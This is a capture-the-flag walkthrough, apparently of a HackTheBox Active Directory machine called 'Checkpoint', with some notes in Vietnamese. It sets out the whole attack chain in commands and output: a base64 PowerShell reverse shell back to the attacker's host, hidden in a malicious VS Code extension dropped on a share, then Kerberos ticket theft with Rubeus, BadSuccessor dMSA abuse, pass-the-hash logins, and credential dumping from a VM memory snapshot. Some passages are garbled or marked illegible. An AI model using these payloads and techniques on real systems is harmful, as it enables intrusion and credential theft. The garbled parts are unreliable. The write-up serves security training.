

Checkpoint

Account: alex.turner / Checkpoint2024!

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-15 22:17 EDT
Nmap scan report for 10.129.230.34
Host is up (0.33s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2026-06-16 09:23:01Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?   Microsoft Windows RPC over HTTP 1.0
464/tcp   open  kpasswd5?        Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb0., Site: Default-First-Site-Name)
593/tcp   open  ncacn_http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
636/tcp   open  ldapssl?        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3268/tcp  open  ldap             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled and required
| smb2-time:
|   date: 2026-06-16T09:23:40
|_  start_date: N/A
|_ clock-skew: 7h04m52s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.80 seconds
```

Hostname: DC01

Domain: checkpoint.htb

LDAP: 389, 636, 3268, 3269

Kerberos: 88, 464

SMB: 445

WinRM: 5985

```
echo "10.129.230.34 checkpoint.htb dc01.checkpoint.htb dc01" | sudo tee -a /etc/hosts
```

```
sudo ntpdate 10.129.230.34
```

```
└─$ netexec smb 10.129.230.34 -u alex.turner -p 'Checkpoint2024!'
[*] Initializing SMB protocol database
SMB 10.129.230.34 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.230.34 445 DC01 [*] checkpoint.htb\alex.turner:Checkpoint2024!
```

```
L- netexec smb 10.129.230.34 -u alex.turner -p 'Checkpoint2024!' --shares
```

```
SMB 10.129.230.34 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signature:True) (SMBv1=None)
```

```
SMB 10.129.230.34 445 DC01 [*] checkpoint.htb\alex.turner:Checkpoint2024!
```

```
SMB 10.129.230.34 445 DC01 [*] Enumerated shares
```

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
DevDrop	READ	VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
IPC\$	READ	Remote IPC
NETLOGON	READ	Login server share
SYSDVOL	READ	Login server share
VMBackups		

Enumerate smb users:

Password spraying

[illegible]

[illegible]

```
PAYLOAD='$client = New-Object
System.Net.Sockets.TCPCClient("10.10.14.4",443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data
2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + ">
";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$send
byte.Length);$stream.Flush()};$client.Close()'

echo $PAYLOAD | iconv -f UTF-8 -t UTF-16LE | base64 -w0
```

```
zip -r /tmp/checkpoint-utils.vsix . && cd /tmp
```

```
smbclient //10.129.230.34/DevDrop -U mark.davies -c 'put /tmp/checkpoint-  
utils.vsix checkpoint-utils.vsix'
```

```
L$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.230.34] 65028
id
PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
PS C:\Program Files\Microsoft VS Code> ls

Directory: C:\Program Files\Microsoft VS Code

Mode                LastWriteTime         Length Name
----                -
d----- 5/25/2026 6:44 PM bin
d----- 5/25/2026 6:44 PM f6cfa2ea24
-a---- 5/19/2026 10:32 AM 202610488 Code.exe
-a---- 5/19/2026 10:28 AM 389 Code.VisualElementsManifest.xml
-a---- 5/25/2026 6:44 PM 4217912 unins000.dat
-a---- 5/25/2026 6:42 PM 3494720 unins000.exe
-a---- 5/25/2026 6:44 PM 24367 unins000.msg
```

```
PS C:\Program Files\Microsoft VS Code> dir C:\Users

Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -
d----- 5/25/2026 6:26 PM Administrator
d----- 5/25/2026 6:34 PM max.palmer
d-r--- 5/9/2026 12:30 AM Public
d----- 5/21/2026 4:19 PM ryan.brooks

PS C:\Program Files\Microsoft VS Code> cd C:\Users\ryan.brooks\Desktop
PS C:\Users\ryan.brooks\Desktop> ls

Directory: C:\Users\ryan.brooks\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar--- 6/15/2026 10:09 AM 34 user.txt

PS C:\Users\ryan.brooks\Desktop> cat user.txt
94bc f78ed63
```

TGT extraction:

```
PS C:\Shares\DevDrop> .\Rubeus.exe tgtdeleg /nowrap

Rubeus
v2.2.0

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[*] Kerberos GSS-API initialization success!
[*] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: tAkEb9ceciivd9KfslsKiBpC5trWrBx02khkvSPXhR=
[*] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

d0FIIDCCBdCgAwIBBAEDAgEWooIEBDCCBMxhgeTlMlIEAaDAGEFoRABdOkNlRlUNLUE9JTIQISFRCoImwIaDAGECorowG8Ga3JldGd0GwSDEVD51BPSUULkhuQoCBIQwngSAAoAMCARkAwIBAAQKCBHIEggRuvvtPMH+qCcooSTf6cTbS1H4z6vTlg2MazGKxpQ80jInqkM0tmgBE1T5A18QCFNUA1hNPYxCanbZ7c73y13jyPGq9DSQepDvAQ3yEhWwP61/FIuHJUn9JNvnmhYQNO2IYQhWtrcL8t30PoseYQmmb9J9Ae9gJ30b80cLrQnp6tV6kP2HT50k8n/GUhhDLJxeqH5J1ZioymI2a8a3nfs5SVfst9m7h1wQ0UzqnfroFXGDUNgF5/vnFAuesP3QcU783L1ZlzhmL/Y355VLvkhZfYfPEKwOpnIt03wXp/obT1AB17dAPZfV362536IQ092kK1YIb/oyDYU108Tx0kqP7fGguAKccP4+Env5XMushqvXNoAy37FQXJ9EzKJ5nH8Y1+QdmZ78Pmm76ctG6Ej7Y0srWU6Y4+DqHwM1CaSHFOOLAs31C8p6jne0Y/Sua3xvNtUzorfJzdeOottoShJwTU0MprRMJFEETZe5PcQwZBLhR1IewgwqCb8+ew2lHrcLqMw/iFXu1ftFDkQoA7tqH9Y86ye7nf35Polfgc7c5KvT7LHxwPMFUIKCYcpTswLqdeB4510qR0DFMpfJost4VBWwMwMwH17uVoIxZCZP051tWY21kFavgbV8J5omYxk0C9SKZAvAZRMXThnbJ5wke5cndum+3awKcdLV9IEvMyZSP0AFMXqNaFxFZ0+ypIZadRNd0E/OTexQDOLPS9LeufqPFO2NoSPM04cALLK4yAxZxoc4q5ftYdZLu26z72yeN4yfpH52x6WZxcDEguvvdGsrc/qhF18PqLFuvwY9KRScUpu7w2D8mOXvEJNsLvsbG6/V4d+MmLTlMLXf8gyj4NuXsguLrvXknp9zWmLYosaBnyQs0JlvuZd1DrCX3HX2DR/wa1RXx+a0RLmb64y5TRMogMlHMDAId+ygRNXFceoiCDH1xQ1v5q50cVRDPMTnZ53jL35+7Wuu5YLLzKayBU6JXsv5Sp5SNZ2+b0ITwgo/KiZTQz9Igodv+MwalsNAfZRTfRfceisBUTZ2BeEtDu17aIX9K743qJ1K/bRgdyAdHh31XYP1Dyr/LP1ZQRRIIdk6h314V1LwNqC3J22TWZ1FV5+Vbzsf239oq2GM1UDRk0IS6CEJrnfF3+Dj10gexMTIN/2VyxFJzutf379hdG0HKImA0xKhda15y1v1neEo0ldV0Hv9a7Vxvw+a61q29psrnl6L18xhk+uaKx4P+Dxr+5q3G3M/pjTXiP+d71T4tKLm062tCzMI/V1L57mx1bpcht2yKnf76tanZ1qBrIm+BfYcJ42H0h36LkC+FaRa0NBXo2BXKF61YtAwYv0j/P8L+xC1k1VkvFduj11W2fyfGGM2BUTAvLkd+6EtHqEgdj1d5HmV0VtxWk8dYBWhc5LnR05FGC0h8ss5S4rKURGAsyMDI2M0YXnzEwNdM1qmeRgPMjAyNjAZMTCyMDQyNTNapxEYDz1wMjYwNjI0MTA0ODU2WagGQwSDEVD51BPSUULkhuQqJMCgGawIBAAQaMBgBmtYnRnds0QhFQ0tQT0LOVC5IVEI=
PS C:\Shares\DevDrop>
```

```
(blackbin@192)-[/tmp]
$ cat > /tmp/ryan_ticket.b64 << 'EOF'
d0FIIDCCBdCgAwIBBAEDAgEWooIEBDCCBMxhgeTlMlIEAaDAGEFoRABdOkNlRlUNLUE9JTIQISFRCoImwIaDAGECorowG8Ga3JldGd0GwSDEVD51BPSUULkhuQoCBIQwngSAAoAMCARkAwIBAAQKCBHIEggRuvvtPMH+qCcooSTf6cTbS1H4z6vTlg2MazGKxpQ80jInqkM0tmgBE1T5A18QCFNUA1hNPYxCanbZ7c73y13jyPGq9DSQepDvAQ3yEhWwP61/FIuHJUn9JNvnmhYQNO2IYQhWtrcL8t30PoseYQmmb9J9Ae9gJ30b80cLrQnp6tV6kP2HT50k8n/GUhhDLJxeqH5J1ZioymI2a8a3nfs5SVfst9m7h1wQ0UzqnfroFXGDUNgF5/vnFAuesP3QcU783L1ZlzhmL/Y355VLvkhZfYfPEKwOpnIt03wXp/obT1AB17dAPZfV362536IQ092kK1YIb/oyDYU108Tx0kqP7fGguAKccP4+Env5XMushqvXNoAy37FQXJ9EzKJ5nH8Y1+QdmZ78Pmm76ctG6Ej7Y0srWU6Y4+DqHwM1CaSHFOOLAs31C8p6jne0Y/Sua3xvNtUzorfJzdeOottoShJwTU0MprRMJFEETZe5PcQwZBLhR1IewgwqCb8+ew2lHrcLqMw/iFXu1ftFDkQoA7tqH9Y86ye7nf35Polfgc7c5KvT7LHxwPMFUIKCYcpTswLqdeB4510qR0DFMpfJost4VBWwMwMwH17uVoIxZCZP051tWY21kFavgbV8J5omYxk0C9SKZAvAZRMXThnbJ5wke5cndum+3awKcdLV9IEvMyZSP0AFMXqNaFxFZ0+ypIZadRNd0E/OTexQDOLPS9LeufqPFO2NoSPM04cALLK4yAxZxoc4q5ftYdZLu26z72yeN4yfpH52x6WZxcDEguvvdGsrc/qhF18PqLFuvwY9KRScUpu7w2D8mOXvEJNsLvsbG6/V4d+MmLTlMLXf8gyj4NuXsguLrvXknp9zWmLYosaBnyQs0JlvuZd1DrCX3HX2DR/wa1RXx+a0RLmb64y5TRMogMlHMDAId+ygRNXFceoiCDH1xQ1v5q50cVRDPMTnZ53jL35+7Wuu5YLLzKayBU6JXsv5Sp5SNZ2+b0ITwgo/KiZTQz9Igodv+MwalsNAfZRTfRfceisBUTZ2BeEtDu17aIX9K743qJ1K/bRgdyAdHh31XYP1Dyr/LP1ZQRRIIdk6h314V1LwNqC3J22TWZ1FV5+Vbzsf239oq2GM1UDRk0IS6CEJrnfF3+Dj10gexMTIN/2VyxFJzutf379hdG0HKImA0xKhda15y1v1neEo0ldV0Hv9a7Vxvw+a61q29psrnl6L18xhk+uaKx4P+Dxr+5q3G3M/pjTXiP+d71T4tKLm062tCzMI/V1L57mx1bpcht2yKnf76tanZ1qBrIm+BfYcJ42H0h36LkC+FaRa0NBXo2BXKF61YtAwYv0j/P8L+xC1k1VkvFduj11W2fyfGGM2BUTAvLkd+6EtHqEgdj1d5HmV0VtxWk8dYBWhc5LnR05FGC0h8ss5S4rKURGAsyMDI2M0YXnzEwNdM1qmeRgPMjAyNjAZMTCyMDQyNTNapxEYDz1wMjYwNjI0MTA0ODU2WagGQwSDEVD51BPSUULkhuQqJMCgGawIBAAQaMBgBmtYnRnds0QhFQ0tQT0LOVC5IVEI=
EOF
```

Decode base64 → .kirbi :

base64 -d /tmp/ryan_ticket.b64 > /tmp/ryan_ticket.kirbi

```
(blackbin@192)-[/tmp]
$ impacket-ticketConverter /tmp/ryan_ticket.kirbi /tmp/ryan_ticket.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
```

OU (Organizational Unit): **Get-ADOrganizationalUnit -Filter ***

```
City :
Country :
DistinguishedName : OU=ServiceAccounts,DC=checkpoint,DC=htb
LinkedGroupPolicyObjects : {}
ManagedBy :
Name : ServiceAccounts
ObjectClass : organizationalUnit
ObjectGUID : e38487f7-5232-428f-9ad2-ee000b60c64d
PostalCode :
State :
StreetAddress :

City :
Country :
DistinguishedName : OU=DMSAHolder,DC=checkpoint,DC=htb
LinkedGroupPolicyObjects : {}
ManagedBy :
Name : DMSAHolder
ObjectClass : organizationalUnit
ObjectGUID : 8302c102-c443-4946-b9e1-9619fa5f3fd3
PostalCode :
State :
StreetAddress :
```

Enumerate ServiceAccounts:

```
PS C:\Shares\DevDrop> Get-ADUser -SearchBase "OU=ServiceAccounts,DC=checkpoint,DC=htb" -Filter * -Properties *
AccountExpirationDate : 
accountExpires         : 
AccountLockoutTime     : 
AuthenticationPolicy   : {}
AuthenticationPolicySilo : {}
BadLogonCount          : 
CannotChangePassword   : False
CanonicalName          : 
Certificates           : {}
City                  : 
CN                    : svc_deploy
codePage               : 0
Company               : 
CompoundIdentitySupported : {}
Country               : 
countryCode           : 0
Created               : 
Deleted               : 
Department            : 
Description            : Deployment service account
DisplayName            : 
DistinguishedName     : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
```

DMSAHolder: **dsacls "OU=DMSAHolder,DC=checkpoint,DC=htb"**

```
PS C:\Shares\DevDrop> dsacls "OU=DMSAHolder,DC=checkpoint,DC=htb"
Owner: CHECKPOINT\Domain Admins
Group: CHECKPOINT\Domain Admins

Access list:
Allow CHECKPOINT\Domain Admins          FULL CONTROL
Allow CHECKPOINT\ryan.brooks             SPECIAL ACCESS
Allow NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Allow NT AUTHORITY\SYSTEM                 SPECIAL ACCESS
Allow NT AUTHORITY\SYSTEM                 READ PERMISSIONS
Allow NT AUTHORITY\SYSTEM                 LIST CONTENTS
Allow NT AUTHORITY\SYSTEM                 READ PROPERTY
Allow NT AUTHORITY\SYSTEM                 LIST OBJECT
```

DMSA BadSuccessor Attack:

```
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k
ccache=/tmp/ryan_ticket.ccache add badSuccessor evil-dmsa -t
'CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB'
--ou 'OU=DMSAHolder,DC=checkpoint,DC=htb'
```



```

StartTime : 2026-06-17 14:44:12+00:00
EndTime : 2026-06-17 20:48:53+00:00
RenewTill : 2026-06-24 10:48:53+00:00
Flags : forwardable, forwarded, enc-pa-rep, pre-authent, renewable
Keytype : 18
Key : XyHmPW5hM6GA+pOcfyWm+mBQ4xxeuwx2AmiJ8Xz0jJg=
EncodedKirbi :

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
Q0tQ0t0VOC5IVEI=
[+] dMSA TGT stored in ccache file evil-dmsa_eS.ccache

dMSA current keys found in TGS:
AES256: 5ac56f1495132dd6e5faa49cc815b8126e39a73771bcfd467fc286e4344de925
AES128: 9024be49be0531e6a6cb9584a6124b96
RC4: 8b2f4d0d63dc325b19349669e41ba5d5

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9

```

BadSuccessor là kỹ thuật abuse (lạm dụng) dMSA trên Windows Server 2025:

- Tạo hoặc chỉnh sửa dMSA (Delegated Managed Service Account).
- Gán thuộc tính msDS-ManagedAccountPrecededByLink tới account đặc quyền.
- Xin TGT cho dMSA.
- KDC (Key Distribution Center) đưa SID của account tiền nhiệm vào PAC (Privilege Attribute Certificate).
- Attacker nhận quyền của account đặc quyền (thường là Domain Admin).

RC4 hash

RC4_CURRENT="8b2f4d0d63dc325b19349669e41ba5d5" (evil-dmsa\$)

RC4_PREVIOUS="e16081eb077aca74bdbf8af12af43ac9" (svc_deploy)


```
(blackbin@192)-[/tmp]
$ nxc smb 10.129.226.61 -u svc_deploy -H "$SRC4_PREVIOUS"
SMB 10.129.226.61 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.226.61 445 DC01 [+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9

(blackbin@192)-[/tmp]
$ evil-winrm -i 10.129.226.61 -u svc_deploy -H "$SRC4_PREVIOUS"

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
checkpoint\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> 
```

```
L:\$ nxc smb 10.129.226.61 -u svc_deploy -H "SRC4_PREVIOUS*" --shares
```

```
SMB      10.129.226.61   445    DC01       [+] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing=True) (SMBv1=None)
```

```
SMB      10.129.226.61   445    DC01       [+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9
```

```
SMB      10.129.226.61   445    DC01       [*] Enumerated shares
```

	Share	Permissions	Remark	
SMB	10.129.226.61	445	DC01	
SMB	10.129.226.61	445	DC01	
SMB	ADMIN\$		Remote Admin	
SMB	C\$		Default share	
SMB	DevDro		VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0	
SMB	IPC\$	READ	Remote IPC	
SMB	NETLOGON	READ	Login server share	
SMB	SYSVOL	READ	Login server share	
SMB	VMBackups	READ		

Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics

- VMware snapshot memory file

File	Chức năng
Windows Server 2019.vmdk	Ổ cứng chính của VM (~10GB)
Windows Server 2019-000001.vmdk	Delta disk (các thay đổi kể từ snapshot)
Windows Server 2019-Snapshot1.vmem	Dump RAM của VM tại thời điểm snapshot (2GB)
Windows Server 2019-Snapshot1.vmsn	Trạng thái snapshot (CPU state, metadata, một phần memory mapping)
Windows Server 2019.vmx	File cấu hình VM
Windows Server 2019.vmsd	Thông tin về snapshot tree
Windows Server 2019.vmxs	Team/workstation metadata
Windows Server 2019.nvram	BIOS/UEFI firmware variables
Windows Server 2019.scoreboard	File nội bộ của VMware

```
smbclient //10.129.226.61/DevDrop -U mark.davies -c 'put vmkatz.exe'
```

```
C:\Shares\DevDrop\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"
```

```
Evil-WinRM PS C:\Shares\VMBackups\WightlyBackup_2024-11-01\memory forensics> C:\Shares\DevDrop\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"
vmkatz.exe : [*] vmkatz v1.4.5-beta.1
+ CategoryInfo          : NotSpecified: ([*] vmkatz v1.4.5-beta.1:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[*] System discovery: 15.0049577s[*] Process enumeration: 7.1591ms[*] Providers: MSV(ok) WDigest(ok) Kerberos(ok) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(empty)
[*] Credential extraction: 44.5235ms
[*] 2 logon session(s), 2 with credentials:

LUID: 0x3e4 (NETWORK SERVICE)
Username: WIN-0D6653AEUTA$
Domain: WORKGROUP
[DPAPI]
GUID           : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
MasterKey      : 15e104f6de4e78c6bf55252632e25b973fcd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
SHA1 MasterKey : 44bb34a024afcd186909843e6c6db4cfee908975
[DPAPI]
GUID           : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
MasterKey      : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbd4518a588bac996567e04f22b28d4f7a2abd33afe0958522bca1aaa00f5edb7d6742065642d
SHA1 MasterKey : b2bf2c648554143d6b28b3c06a1ece7e40867238
[DPAPI]
GUID           : 4f09a449-22e7-4a65-a4b9-fac89cc25328
MasterKey      : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a820e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904f9e279089a1ea718
SHA1 MasterKey : 90b1c277630e507a8e28d7b260a53f21712c3f1d

LUID: 0x14016d
Session: 2 | LogonType: Unknown
Username: Administrator
Domain: WIN-0D6653AEUTA
LogonServer: WIN-0D6653AEUTA
LogonTime: 2026-05-09 14:07:14 UTC
SID: S-1-5-21-2823729479-30462974-3865623546-500
[MSV1_0]
NT Hash : f2[REDACTED]e3b
SHA1 : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
DPAPI : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
[DPAPI]
GUID           : c53f7d5b-2902-415c-9c09-251f39974440
MasterKey      : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
SHA1 MasterKey : b061f87be6d2776897d912fed9150a354b81a595
```

➤ NT Hash Administrator VM backup

```
Evil-WinRM -i 10.129.226.61 -u Administrator -H "f29e9cc[REDACTED]0be3b"
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> |
```

```
*Evil-WinRM* PS C:\Users\max.palmer\Desktop> dir

Directory: C:\Users\max.palmer\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---             6/17/2026 12:49 AM             34 root.txt

*Evil-WinRM* PS C:\Users\max.palmer\Desktop> cat root.txt
7fcf84b[REDACTED]79d24031c
```